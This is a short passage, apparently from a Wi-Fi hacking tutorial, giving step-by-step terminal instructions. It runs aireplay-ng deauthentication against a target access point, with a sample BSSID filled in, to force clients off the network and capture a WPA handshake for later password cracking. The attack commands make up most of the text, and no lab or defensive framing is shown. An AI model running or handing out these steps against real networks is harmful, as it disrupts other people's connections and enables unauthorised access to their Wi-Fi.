Without closing your previous terminal, open a new terminal with Ctrl + Alt + T

Enter the command aireplay-ng -0 *RXQ Number* -a *BSSID Number* wlan0

Your command will look like aireplay-ng -0 0 -a 50:D4:F7:E5:66:F4 wlan0

Once you de-authenticate your clients you should have your WPA handshake in the upper right hand corner where it says WPA handshake.

Once you have your handshake, take note of it and end both processes with Ctrl + C